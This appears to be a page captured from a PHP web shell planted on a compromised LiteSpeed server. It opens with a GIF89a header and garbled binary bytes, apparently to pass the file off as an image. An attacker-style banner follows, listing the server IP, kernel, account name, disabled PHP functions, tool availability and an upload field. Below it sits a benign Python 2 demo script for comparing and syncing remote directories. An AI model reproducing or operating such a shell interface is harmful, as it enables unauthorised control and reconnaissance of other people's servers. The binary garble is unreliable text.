GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 3.148.105.127 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /lib64/python2.7/Demo/pdist/ |
Upload File : |
"""Compare local and remote dictionaries and transfer differing files -- like rdist.""" import sys from repr import repr import FSProxy import time import os def main(): pwd = os.getcwd() s = raw_input("chdir [%s] " % pwd) if s: os.chdir(s) pwd = os.getcwd() host = ask("host", 'voorn.cwi.nl') port = 4127 verbose = 1 mode = '' print """\ Mode should be a string of characters, indicating what to do with differences. r - read different files to local file system w - write different files to remote file system c - create new files, either remote or local d - delete disappearing files, either remote or local """ s = raw_input("mode [%s] " % mode) if s: mode = s address = (host, port) t1 = time.time() local = FSProxy.FSProxyLocal() remote = FSProxy.FSProxyClient(address, verbose) compare(local, remote, mode) remote._close() local._close() t2 = time.time() dt = t2-t1 mins, secs = divmod(dt, 60) print mins, "minutes and", round(secs), "seconds" raw_input("[Return to exit] ") def ask(prompt, default): s = raw_input("%s [%s] " % (prompt, default)) return s or default def askint(prompt, default): s = raw_input("%s [%s] " % (prompt, str(default))) if s: return string.atoi(s) return default def compare(local, remote, mode): print print "PWD =", repr(os.getcwd()) sums_id = remote._send('sumlist') subdirs_id = remote._send('listsubdirs') remote._flush() print "calculating local sums ..." lsumdict = {} for name, info in local.sumlist(): lsumdict[name] = info print "getting remote sums ..." sums = remote._recv(sums_id) print "got", len(sums) rsumdict = {} for name, rsum in sums: rsumdict[name] = rsum if not lsumdict.has_key(name): print repr(name), "only remote" if 'r' in mode and 'c' in mode: recvfile(local, remote, name) else: lsum = lsumdict[name] if lsum != rsum: print repr(name), rmtime = remote.mtime(name) lmtime = local.mtime(name) if rmtime > lmtime: print "remote newer", if 'r' in mode: recvfile(local, remote, name) elif lmtime > rmtime: print "local newer", if 'w' in mode: sendfile(local, remote, name) else: print "same mtime but different sum?!?!", print for name in lsumdict.keys(): if not rsumdict.keys(): print repr(name), "only locally", fl() if 'w' in mode and 'c' in mode: sendfile(local, remote, name) elif 'r' in mode and 'd' in mode: os.unlink(name) print "removed." print print "gettin subdirs ..." subdirs = remote._recv(subdirs_id) common = [] for name in subdirs: if local.isdir(name): print "Common subdirectory", repr(name) common.append(name) else: print "Remote subdirectory", repr(name), "not found locally" if 'r' in mode and 'c' in mode: pr = "Create local subdirectory %s? [y] " % \ repr(name) if 'y' in mode: ok = 'y' else: ok = ask(pr, "y") if ok[:1] in ('y', 'Y'): local.mkdir(name) print "Subdirectory %s made" % \ repr(name) common.append(name) lsubdirs = local.listsubdirs() for name in lsubdirs: if name not in subdirs: print "Local subdirectory", repr(name), "not found remotely" for name in common: print "Entering subdirectory", repr(name) local.cd(name) remote.cd(name) compare(local, remote, mode) remote.back() local.back() def sendfile(local, remote, name): try: remote.create(name) except (IOError, os.error), msg: print "cannot create:", msg return print "sending ...", fl() data = open(name).read() t1 = time.time() remote._send_noreply('write', name, data) remote._flush() t2 = time.time() dt = t2-t1 print len(data), "bytes in", round(dt), "seconds", if dt: print "i.e.", round(len(data)/dt), "bytes/sec", print def recvfile(local, remote, name): ok = 0 try: rv = recvfile_real(local, remote, name) ok = 1 return rv finally: if not ok: print "*** recvfile of %r failed, deleting" % (name,) local.delete(name) def recvfile_real(local, remote, name): try: local.create(name) except (IOError, os.error), msg: print "cannot create:", msg return print "receiving ...", fl() f = open(name, 'w') t1 = time.time() length = 4*1024 offset = 0 id = remote._send('read', name, offset, length) remote._flush() while 1: newoffset = offset + length newid = remote._send('read', name, newoffset, length) data = remote._recv(id) id = newid if not data: break f.seek(offset) f.write(data) offset = newoffset size = f.tell() t2 = time.time() f.close() dt = t2-t1 print size, "bytes in", round(dt), "seconds", if dt: print "i.e.", size//dt, "bytes/sec", print remote._recv(id) # ignored def fl(): sys.stdout.flush() if __name__ == '__main__': main()